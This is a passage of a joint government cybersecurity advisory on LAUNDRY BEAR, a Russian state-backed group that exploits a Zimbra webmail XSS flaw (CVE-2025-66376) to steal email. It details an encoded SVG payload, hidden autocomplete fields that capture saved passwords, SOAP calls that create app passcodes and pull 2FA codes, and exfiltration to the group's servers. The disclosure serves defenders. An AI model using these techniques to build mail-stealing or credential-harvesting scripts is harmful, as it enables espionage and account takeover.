<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
